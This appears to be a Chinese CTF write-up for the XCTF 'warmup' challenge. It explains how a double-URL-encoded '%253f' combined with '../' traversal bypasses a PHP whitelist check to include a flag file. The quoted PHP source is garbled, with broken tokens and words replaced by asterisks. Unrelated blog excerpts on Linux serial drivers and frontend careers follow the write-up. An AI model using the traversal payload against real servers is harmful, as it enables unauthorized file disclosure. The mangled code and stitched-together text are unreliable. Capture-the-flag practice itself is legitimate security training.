記xctf之wramup writeup!!!
開啟題目鏈結,f12發現提示,進入source.php,**如下
<?php
highlight_file
(__file__);
class
emmmif(
in_array
($page
,$whitelist))
$_page
=mb_substr
($page,0
,mb_strpos
($page
.'?'
, '?
') );
if (in_array($_page, $whitelist))
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,mb_strpos($_page . '
?', '?')
);if (in_array($_page, $whitelist))
echo "you can't see it";
return false;}}
if (! empty($_request
['file'])
&& is_string($_request
['file'])
&& emmm::checkfile($_request
['file'])
) else
?>
開始**審計,發現hint.php
由以下**知,構造payload滿足$file不為空,是字串,滿足checkfile函式檢查就能將「file」檔案包含進去。
if (! empty($_request['file']) && is_string($_request['file']) && emmm::checkfile($_request['file']) ) else
再來看checkfile函式
public
static
function
checkfile(&
$page)if
(in_array
($page
,$whitelist))
$_page
=mb_substr
($page,0
,mb_strpos
($page
.'?'
, '?
') );
if (in_array($_page, $whitelist))
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,mb_strpos($_page . '
?', '?')
);if (in_array($_page, $whitelist))
echo "you can't see it";
return
false;}
}
四個檢查的地方:
1,檢查$page是否為空,是否為字串
2,白名單檢測,檢測 $page是否在陣列中,存在則 return ture;
3, $_page擷取?後面的內容進行白名單檢測
4,url解碼 $page後再擷取?後面的內容進行白名單檢測
綜上可構造payload(不唯一):?file=soure.php%253f…/…/…/…/…/ffffllllaaaagggg,即拿到flag!!!
注:構造%253f是因為瀏覽器自動解碼一次,即%253f url解碼一次後為%3f,然後再到checkfile函式解碼後為?,就可以成功繞過 return ture,將file檔案包含進來,,,,,得到了flag!
最後貼一下flag。。。。。。
Linux驅動煉成記 09 串列埠除錯
實現功能 主控 amlogic a113x 串列埠和mcu stm32 進行串列埠通訊,實現資料的傳輸,由stm32控制燈效.看似簡單的乙個雙方對接功能,還是走了不少彎路的.串列埠dts配置 amlogic a113x引腳編號 gpioz 8 i2c sck b uart tx ao b gpioz...
前端大師煉成記 中高階前端高階指南
五年前端三年加班 5 3 2,當你從事前端工作兩年後,你已經掌握了前端的基礎技能,也參與了大量的專案,量飛速增長,這個時候,你應該開始追求質量,而非數量。你可能經常聽見工程化 元件化 自動化 工具化 模組化等等詞語,也可能被問到效能優化 網路通訊 閱讀原始碼等等問題。如何從乙個初級前端,往中高階前端...
如易雲解密3 運營系統的動態性煉成記
系統體驗 運營系統demo admin admin 登入 一 單錶頁面的動態性 軟體行業 抽象能力非常重要,大家都知道。其實抽象程度的高低,決定了其所在領域的靈活性 動態性 我們運營系統的動態性顯示方面主要有賴於布局模板 aceadmin hplus等 和 jqgrid,然後服務端適配其抽象方式。整...